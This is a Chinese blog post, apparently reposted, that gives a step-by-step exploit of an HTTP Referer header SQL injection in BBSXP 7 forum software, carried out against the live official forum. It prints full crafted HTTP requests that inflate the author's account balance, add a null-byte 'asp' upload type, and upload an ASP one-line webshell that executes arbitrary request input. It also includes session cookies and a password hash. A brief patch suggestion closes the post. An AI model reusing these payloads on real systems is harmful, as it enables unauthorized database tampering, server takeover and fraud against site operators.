| 关键词: ServerVariables Request 封包 BBSXP HTTP 一个 asp image 类型 代码 |
来源:Sobiny's Blog 这个东西是去年前发现的了。好象内容细节在哪个杂志上发了。不过似乎杂志和作者都没跟我联系呢?不管,发了再说。针对BBSXP7的,是HTTP头注入。没有多大的看头,熟悉的朋友,请从后面拿SHELL的地方开始看。反正看得懂的就看。看不懂的请提问,不过希望大家问一点有水平的问题。太基础的,GOOGLE上可以搜索到的问题,恕我不回答。 我们都知道yuzi.net是BBSXP的官方论坛。最近读代码,读到了BBSXP一个不小心,就找到了一个注入。。拿bbs.yuzi.net去测试。一不小心就测试通过,并且通过此注入点,得到了WEBSHELL。其中就用到了我所谓的数据库处理数据和FSO处理数据的一点小差异,而拿到的WEBSHELL。欲知详情,请跟着我一步一步来看。。。 原创:sobiny[bct]网址:http://sobiny.cn BBSXP我读过还几次了,还没发现什么大的问题。结果这次读的时候,发现了一个很奇怪的过程。 Setup.asp文件是BBSXP系统的函数文件,外面调用的函数基本上都在里面了。在第394行有一个log过程,其代码如下:sub Log(Message)if Request.ServerVariables("Query_String")<>"" then Query_String="?"&Request.ServerVariables("Query_String")&""Conn.Execute("insert into [BBSXP_Log] (UserName,IPAddress,UserAgent,HttpVerb,PathAndQuery,Referrer,ErrDescription,POSTData,Notes) values ('"&CookieUserName&"','"&Request.ServerVariables("REMOTE_ADDR")&"','"&HTMLEncode(Request.Servervariables("HTTP_User_AGENT"))&"','"&Request.ServerVariables("request_method")&"','http://"&Request.ServerVariables("server_name")&""&Request.ServerVariables("script_name")&""&Query_String&"','"&Request.ServerVariables("HTTP_REFERER")&"','"&Err.Description&"','"&Request.Form&"','"&Message&"')")end sub我们明显的看到了。Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"),Request.ServerVariables("script_name"),Request.ServerVariables("Query_String"),Request.ServerVariables("HTTP_REFERER")这5个HTTP头的参数没有经过过滤就直接放进了数据库。 而, Request.ServerVariables("REMOTE_ADDR"),Request.ServerVariables("server_name"), Request.ServerVariables("script_name")这三个参数,第一个是连接的IP地址,第二个是server名字,第三个是脚本名字。这三个都不好欺骗。(除了ip地址我还没想到方法欺骗以外,后面两个都是还是可以欺骗的,不过有一定的环境限制,当然这是后话) 但是Request.ServerVariables("Query_String")和Request.ServerVariables("HTTP_REFERER")我们都是可以很轻松的构造我们需要的字符进去。这样,就可以完成欺骗。进行MSSQL注入攻击。 现在我们就需要找找在BBSXP的代码里面,到底有哪些地方调用了LOG过程。经过我仔细的检查代码。发现这个过程在好多处代码里面都调用了。不过普通用户能调用的地方好象只有一处。就是Bank.asp,就是银行功能,在给某人汇钱了后,就会调用LOG过程,写入数据库记录。目标代码在Bank.asp的第160行。如下:Log(""&CookieUserName&" 通过银行转帐 ¥"&qmoney&" 给 "&dxname&"")于是,就开始了我艰苦的BBSXP测试之旅。 我看了BBSXP的官方。只能通过发帖来赚点钱。每个帖子奖励1块钱。bank.asp里面限制了最低每次要转10块钱。而且还有10%的手续费,真黑啊,这个告诉我们,我必须要先发11个帖子,才可以进行一次转帐的操作。痛苦ING……………………省略号表示是我在注册帐号等待20分钟(才可以发帖),趁版主不注意,猛灌11个文章。并且抓包的痛苦经历,能有多悲惨,请各位读者发挥自己的想象。 终于11个文章筹齐了。我现在有了11块钱。当然就好开始构造我们的语句了。 我们先来看看我们本来的封包。联系上下文。构造封包如下:POST /Bank.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*Referer: http://bbs.yuzi.net/bank.aspAccept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)Host: bbs.yuzi.netContent-Length: 60Connection: Keep-AliveCache-Control: no-cacheCookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime= menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+这个封包的意思是,向admin这个家伙送转10块钱过去。。当然我们是不能直接发送这个封包的(为什么?因为10块钱就白白过去了,你愿意吗?当然要构造点语句帮我们做点事情才行) 考虑了1秒钟,身受为了得到11块钱而不停痛苦的我。绝对首先做的事情是:为我得到10000块钱。经过读他们的代码,找到了存储金钱的表段,嘿嘿,准备加钱了。POST /Bank.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_Users] set [UserMoney]=10000 where userid=123536--Accept-Language: zh-cnContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)Host: bbs.yuzi.netContent-Length: 60Connection: Keep-AliveCache-Control: no-cacheCookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=; Eremite=0; PostTime= menu=virement&qmoney=10&dxname=admin&B2=+%E7%A1%AE+%E5%AE%9A+然后发送。我们主要看看Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_Users] set [UserMoney]=10000 where userid=123536--这一个HTTP头地址。然后构造这样的HTTP头地址,就可以进行多句的执行。首先把我在银行里面的金钱改成了10000再说。哈哈,可以慢慢注入了。(为了节省篇幅,下面的封包我就只给出修改了后的部分。) 现在我进银行看看,我的钱。 嘿嘿,果然是1W了。。HAPPY。说明这个地方确实是可以注入的。 然后就是我慢慢思考怎么得到WEBSHELL的时候了。经过一系列的探测,我发现了,数据库和网站不在同一个服务器。所以先前的打算备份日志或者差异备份的想法就给打消了。就开始了艰辛的只通过BBSXP自带的功能得到WEBSHELL的路。 首先是拿到后台。最新版的BBSXP,MSSQL数据库版本的后台也就多几个注入点。没有用的。我晕。实在想不到办法。于是我就照现在你所想的,添加上传类型来试试能不能上传一个WEBSHELL上去。首先我们必须要先否认几个类型:asp,asa,cer,cdx.这4个类型在代码里面已经明文禁止了,不能上传。所以否决我根本试都不去试,呵呵。 于是我就添加ASPX类型上去,上传成功,不过服务器不支持。于是我又添加PHP类型上去,上传成功,不过服务器不支持。……………………很多类型。服务器都不支持。然后你们这个时候可能要说,可以上传SHTML的类型上去哈,服务器肯定支持。不过好象SHTML上传上去,我也只能去浏览文件的代码。(据说SHTML有时是可以执行CMD命令的,不过当时我是没抱希望,所以就没去试)所以我也就没去实验这个东西。 难道就没有办法了吗?我想了大概半个小时。最后还真的给我想到了一个办法。 FSO写文件名的时候,如果遇到空字节,那么,这个空字节后面的字符就会被忽略。比如我们用FSO写一个文件名是:admin%00(空字节).jpg。那么我们实际上写上去的文件名就是admin没有后缀的。而数据库又刚好是可以存储空字节的数据库。OK。。。下面我们构造如下的语句。Referer: http://bbs.yuzi.net/bank.asp','a','post','cheng');update [BBSXP_SiteSettings] set UpFileTypes=UpFileTypes+'|asp'+char(0)+'a' where 1=1-- 然后提交给服务器。这样服务器就加上了一个允许的类型,这个类型就是'asp空字节a'呵呵。然后我们试着提交一下。POST /PostUpFile.asp? HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*Referer: http://bbs.yuzi.net/PostUpFile.aspAccept-Language: zh-cnContent-Type: multipart/form-data; boundary=---------------------------7d6215880482Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)Host: bbs.yuzi.netContent-Length: 255Connection: Keep-AliveCache-Control: no-cacheCookie: bbsxp=bbsxp; skins=xp; ASPSESSIONIDCSBQADBA=HFMDPPMBNDENBBKCAFJLMBMC; UserID=123536; Userpass=7A268B980E0D89FD1C4F498341B32201; Onlinetime=2006%2D11%2D4+23%3A30%3A23; ForumNameList=%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D2%27%3E%u8BBA%u575B%u4EA4%u6D41%u533A%3C/option%3E%3Coption%20value%3D%27ShowForum.asp%3FForumID%3D1%27%3E%u704C%u6C34%u4E50%u56ED%3C/option%3E; Eremite=0; PostTime=2006%2D11%2D5+0%3A42%3A33 -----------------------------7d6215880482Content-Disposition: form-data; name="file"; filename="E:\muma.asp a"Content-Type: text/html <%If Request("#")<>"" Then Execute(Request("#"))%>-----------------------------7d6215880482--这就和动易当年的上传漏洞差不多了。注意muma.asp a中间的空格要用16进制编辑器改成00就是空字节的意思。 然后发送封包。就会提示你上传123123123123.asp成功。找到你上传的文件。接下来的事就不用我说了吧,哈哈。 我要说明一个问题。有BBSXP有注入点拿下WEBSHELL的方法不只这一个。我只是选择了一个我认为最简单的方法。所以各位看官找到更有效果的方法,欢迎你来和我交流但是不要来批判我,谢谢。 最后说说这个漏洞的修补方法,就是过滤HTTP头文件。不要直接放进数据库。如果实在修补不了的,请暂时停止其银行功能。这样就可以有一定效果的防御这个漏洞,等待BBSXP官方出补丁。 后记:最近总是有朋友问我,DVBBS后台怎么拿SHELL。。看了这个文章后,你有新的想法了吗? |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|